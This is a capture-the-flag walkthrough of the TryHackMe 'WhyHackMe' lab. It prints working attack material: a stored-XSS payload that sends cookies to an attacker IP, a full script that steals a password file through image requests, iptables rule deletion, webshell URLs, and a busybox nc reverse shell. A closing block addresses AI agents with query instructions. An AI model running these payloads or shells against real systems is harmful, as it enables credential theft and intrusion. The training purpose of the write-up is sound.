# WhyHackMe

{% embed url="<https://tryhackme.com/room/whyhackme>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start with a nmap scan and discover three open ports. 21, 22 and 80. The corresponding services also run on these standard ports. We can log on to port 21 of the FTP with the user `anonymous`.

<figure><img src="/files/2GvC1uwg3laOcPQQPdqX" alt=""><figcaption></figcaption></figure>

On the FTP, we find the file `update.txt`. This reports that the user `mike` had to be deleted due to a compromise. The credentials for the new user can be retrieved under `/dir/pass.txt` for all authorized users accessing via localhost. Interesting. That will be useful for later.

<figure><img src="/files/ar0lY672yKN3wTAaQltx" alt=""><figcaption></figcaption></figure>

While we have Gobuster running, we enumerate the endpoint 80 manually. We are greeted with a link to a blog page, `/blog.php`. All clear. We are dealing with PHP here. Let's update the Gobuster scan with `-x php`.

<figure><img src="/files/4kkVtSpw2awaemRN4ayO" alt=""><figcaption></figcaption></figure>

On the blog page, we find a comment section, which is only available for logged-in users. There is a link to the login page `/login.php`. Furthermore, there is a comment from the user `admin`, who points out that he checks every single post. I see.

<figure><img src="/files/ZDol8TGauTAHp7X5bpTW" alt=""><figcaption></figcaption></figure>

The login page itself does not seem to be vulnerable, no users are leaked, and a brute force for the `admin` seems hopeless.

<figure><img src="/files/qVpRY3g1XaGL3kRvNR3Z" alt=""><figcaption></figcaption></figure>

In the finished Gobuster scan, we see that the `registration.php` page is also available. Great, so we don't need to compromise an account, we simply create one. Also, there is an interesting directory, ⁣`/dir,` which we already have information on from the `update.txt` file.

<figure><img src="/files/60BD8s9qbJS5tbXyzVTc" alt=""><figcaption></figcaption></figure>

Let's start with an example user first.

<figure><img src="/files/JZQyyj2eDxe4jvlFpHz8" alt=""><figcaption></figcaption></figure>

Now let's anticipate something. We see a comment field in which we can submit comments. The first thought was stored XSS. A lot has been tried here, including the Unicode Normalization Bypass, but nothing has worked.

<figure><img src="/files/PleSAjfhfWttxMPvuRdN" alt=""><figcaption></figcaption></figure>

All `<`,`>` were encoded as HTML entities.

<figure><img src="/files/gO6GmLq0SUNPe6KhRNqq" alt=""><figcaption></figcaption></figure>

## Foothold

Until, after far too long, I noticed that the username also appeared in the comments and that it might also be vulnerable. Said and done, we create the user `<script>alert(1);</script>`.

<figure><img src="/files/ZYYKmmanPXHZrCnNLJYF" alt=""><figcaption></figcaption></figure>

After registration, we log in with the user, visit `/blog.php`, and write any comment. Immediately after submitting, we see that we had been successful here.

<figure><img src="/files/QXnzZMQNiRTcMsZ00SQJ" alt=""><figcaption></figcaption></figure>

But what can we do with it? The idea came immediately, I had to think directly of the Challenge Bandit <https://0xb0b.gitbook.io/writeups/tryhackme/2023/bandit>. In order not to spoil anything, I won't tell you what had to be done in Bandit. It's definitely different from this challenge.&#x20;

We remember the `update.txt` from the FTP, the call to `/dir/pass.txt` must be made from `localhost`. Mmh, why not let the user call `/dir/pass.txt` via XSS and then exfiltrate the information? But first we have to check our assumption to see whether the user is actually calling the page.

<figure><img src="/files/VIFlGlIqWwFocm51A7J6" alt=""><figcaption></figcaption></figure>

Before we log out, we delete our comments so that there is no confusion with the XSS.

We set up a Python web server on port 9000 via `python -m http.server 9000` and create a user with the following username:

```
<script>fetch("http://10.8.211.1:9000",{method: "POST", body: document.cookie});</script>
```

<figure><img src="/files/Q70xEIHXYVc6MeFhwJuK" alt=""><figcaption></figcaption></figure>

After we have created our user, logged in and called `/blog.php`, we start Burp Suite to intercept our comment so that the XSS is not rendered in our browser.

<figure><img src="/files/MmjfmjSQvki1OjOuXcad" alt=""><figcaption></figcaption></figure>

We send our comment via Burpsuite as the `"fetch"` user and see a short time later that the target machine is accessing our web server. Nice. We cannot identify a cookie as the server does not support `POST`, but even after checking via `nc`, none can be found. But we know our target is on the page. So we can get to `/dir/pass.txt`.

<figure><img src="/files/we7T6Fuhz2k4j69Mj1X7" alt=""><figcaption></figcaption></figure>

Again, we delete our comments before logging out. We make it easy for ourselves and use an existing JavaScript to exfiltrate data:

{% embed url="<https://raw.githubusercontent.com/hoodoer/XSS-Data-Exfil/main/exfilPayload.js>" %}

The following link explains in detail what happens here:

{% embed url="<https://trustedsec.com/blog/simple-data-exfiltration-through-xss>" %}

In the script itself, we only need to add our endpoint to lines 68 and 80 and the resource to be exfiltrated to line 33. A request is sent via `xhr` to the resource set, and the content is chunked via `Image()` requested to our web server in the base64.

By including the script, the function `stealData();` is called at the end, which then executes the whole thing.

{% code title="exfil.js" lineNumbers="true" %}

```javascript
// TrustedSec Proof-of-Concept to steal 
// sensitive data through XSS payload


function read_body(xhr) 
{ 
	var data;

	if (!xhr.responseType || xhr.responseType === "text") 
	{
		data = xhr.responseText;
	} 
	else if (xhr.responseType === "document") 
	{
		data = xhr.responseXML;
	} 
	else if (xhr.responseType === "json") 
	{
		data = xhr.responseJSON;
	} 
	else 
	{
		data = xhr.response;
	}
	return data; 
}




function stealData()
{
	var uri = "/dir/pass.txt";

	xhr = new XMLHttpRequest();
	xhr.open("GET", uri, true);
	xhr.send(null);

	xhr.onreadystatechange = function()
	{
		if (xhr.readyState == XMLHttpRequest.DONE)
		{
			// We have the response back with the data
			var dataResponse = read_body(xhr);


			// Time to exfiltrate the HTML response with the data
			var exfilChunkSize = 2000;
			var exfilData      = btoa(dataResponse);
			var numFullChunks  = ((exfilData.length / exfilChunkSize) | 0);
			var remainderBits  = exfilData.length % exfilChunkSize;

			// Exfil the yummies
			for (i = 0; i < numFullChunks; i++)
			{
				console.log("Loop is: " + i);

				var exfilChunk = exfilData.slice(exfilChunkSize *i, exfilChunkSize * (i+1));

				// Let's use an external image load to get our data out
				// The file name we request will be the data we're exfiltrating
				var downloadImage = new Image();
				downloadImage.onload = function()
				{
					image.src = this.src;
				};

				// Try to async load the image, whose name is the string of data
				downloadImage.src = "http://10.8.211.1:9000/exfil/" + i + "/" + exfilChunk + ".jpg";
			}

			// Now grab that last bit
			var exfilChunk = exfilData.slice(exfilChunkSize * numFullChunks, (exfilChunkSize * numFullChunks) + remainderBits);
			var downloadImage = new Image();
			downloadImage.onload = function()
			{
    			image.src = this.src;   
			};

			downloadImage.src = "http://10.8.211.1:9000/exfil/" + "LAST" + "/" + exfilChunk + ".jpg";
			console.log("Done exfiling chunks..");
		}
	}
}



stealData();

```

{% endcode %}

This payload is a bit simpler due to the script, we only integrate our exfiltration script via our web server.

```
<script src=http://10.8.211.1:9000/exfil.js></script>
```

<figure><img src="/files/K7xqI5Wnsd9goVd8JvCK" alt=""><figcaption></figcaption></figure>

We create said user, log in, go to `/blog.php`, and post a comment, which we intercept in BurpSuite.

<figure><img src="/files/rP4COYdJfdAcdQ1BhTxy" alt=""><figcaption></figcaption></figure>

We send the request via BurpSuite and a short time later we see the content of `/dir/pass.txt` on our web server base64 encoded.

<figure><img src="/files/ixO2Agc6pAs6MccIc9jd" alt=""><figcaption></figcaption></figure>

We only have to decode the base64 content and get the credentials from `jack` using CyberChef.

<figure><img src="/files/sKhnOvCyXwfVxzDDKWuP" alt=""><figcaption></figcaption></figure>

Next, we try to log on to the machine with `jack` via SSH, and it works. Nice. In the home directory of `jack` we find the first flag.

<figure><img src="/files/o9qqQVR4eT1ApPLJ3fgX" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

During the initial enumeration, we notice that we can use `iptables` as user jack with sudo authorizations. Interesting, as there is nothing about this in GTFOBins to escalate privileges. We may have to open a port for a service we don't know about yet in order to move forward.

<figure><img src="/files/4SIbc0h5YVvfkzr4sSzF" alt=""><figcaption></figcaption></figure>

In the `/opt` directory, we find a `pcap` file and an urgent note. This mentions the security incident, which has not yet been fully resolved and has only been mitigated for the time being with a workaround of blocking a specific port. The network traffic was recorded, with the help of which the problem should be solved.

It is also noted that since the hack, there are files in `/usr/lib/cgi-bin` that cannot be deleted via root. Probably the persistence of the attacker.

<figure><img src="/files/vvHdpQznf10kyysMjVJ6" alt=""><figcaption></figcaption></figure>

Looking at `/usr/lib` we see that we cannot access `cgi-bin` and the group is assigned to `h4ck3d`. This is probably why root cannot delete it.

<figure><img src="/files/GUXLvxgmkUbLqbeczvrY" alt=""><figcaption></figcaption></figure>

So let's take a look at what has been blocked by the admin using `iptables`. It is port `41312`. Ok.

`sudo /usr/sbin/iptables -L --line-numbers`

<figure><img src="/files/cuUj0MemqTFIKcg87j3s" alt=""><figcaption></figcaption></figure>

To get the note and the pcap file, we use a Python web server, but we could also use SCP.

We look at the network recording and cannot recognize anything, we have TLS traffic here, and everything is encrypted. Too bad. We only see port `41312` again, which confirms that this is the malicious port.

<figure><img src="/files/92Ty6t5TaADSEvL4ePp0" alt=""><figcaption></figcaption></figure>

Ok, let's open port `41312`, delete the administrator's rule as a precaution, and see what happens on the port.

`sudo /usr/sbin/iptables -L --line-numbers`

`sudo /usr/sbin/iptables -D INPUT`

`sudo /usr/sbin/iptables -I INPUT -p tcp --dport 41312 -j ACCEPT`

<figure><img src="/files/y2l8yfsVaUEZlgXGVrHP" alt=""><figcaption></figcaption></figure>

First of all, we can use Nmap to confirm that the port is open and see that an Apache web server is behind running.

<figure><img src="/files/dqhAwfMs0X9imho0L4ep" alt=""><figcaption></figcaption></figure>

We are told to use `HTTPS` when accessing the page.

<figure><img src="/files/DYbB8QrPwLwWAfM44xyk" alt=""><figcaption></figcaption></figure>

OK, but little success here either. We have no access to the page. Gobuster doesn't give us any useful results either, nor does Nikto. We have to take a closer look at the Wireshark recording.

<figure><img src="/files/NKH0DKVQbgUlhg1ktQtw" alt=""><figcaption></figcaption></figure>

Here is a hint for decrypting the Wireshark traffic. Either a series of session keys or the private key from the certificate is required.

{% embed url="<https://my.f5.com/manage/s/article/K19310681>" %}

And a lot of time passed before I realized that the attacker was using Apache, which is also used by the blog. So all we had to do was to check where the key was located. To confirm this, the `000-default.conf` can be examined. The search for the key is not really necessary from here on, as this can be taken directly from the config, but was the first attempt.

<figure><img src="/files/iv34Vk4cAwiAomJVRKMg" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.ssls.com/knowledgebase/how-can-i-find-the-private-key-for-my-ssl-certificate/#linux_based>" %}

And fortunately, we also have access to this. So start the web server in `/etc/apache2` again or use SCP and download the key.&#x20;

<figure><img src="/files/XRWfNUImTZDBzU5fvyNi" alt=""><figcaption></figcaption></figure>

The key must now be integrated into Wireshark as follows:

`Edit->Preferences->TLS-> RSA keys list Edit...`

<figure><img src="/files/sYSpJtJgAZggcPqVmy1H" alt=""><figcaption></figcaption></figure>

Then we can filter by `http` and see the URI for a webshell, finally.

<figure><img src="/files/MynWrMTxlTTLDe9BnRBn" alt=""><figcaption></figcaption></figure>

We can access it and execute the command `id`.&#x20;

```
https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
```

<figure><img src="/files/4tgfEh3Gqqm9Jdni3GQc" alt=""><figcaption></figcaption></figure>

The next step is to check whether `busybox` is available, which was previously forgotten.

```
https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
```

<figure><img src="/files/KhrJhI7Q59vhyWHXlyWt" alt=""><figcaption></figcaption></figure>

We set up a listener and start a reverse shell via `busybox`. The reverse shell connects, we are user `www-data`, and we upgrade the shell. But that wasn't an upgrade to root, was it? Don't be fooled, enumerate first.&#x20;

```
https://boring.box:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=busybox nc 10.8.211.1 4445 -e bash
```

<figure><img src="/files/at5NM20If2Nje2ZMkEaR" alt=""><figcaption></figcaption></figure>

We see via `sudo -l` that we can execute everything as sudo. No sooner said than done, we switch to `root` using `su`, go to root's home directory, and find the final flag there.

<figure><img src="/files/PiazWQeRuzdhmnCnhQxY" alt=""><figcaption></figcaption></figure>

**Don't miss out on the unintended path to access the root flag through the** `Chrome Remote Debugging Port` **discovered by 0day and jaxafed.**&#x20;

\
**Check out jaxafed's writeup:**&#x20;

{% embed url="<https://jaxafed.github.io/posts/tryhackme-whyhackme/#alternative-way-to-get-root-flag>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/whyhackme.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
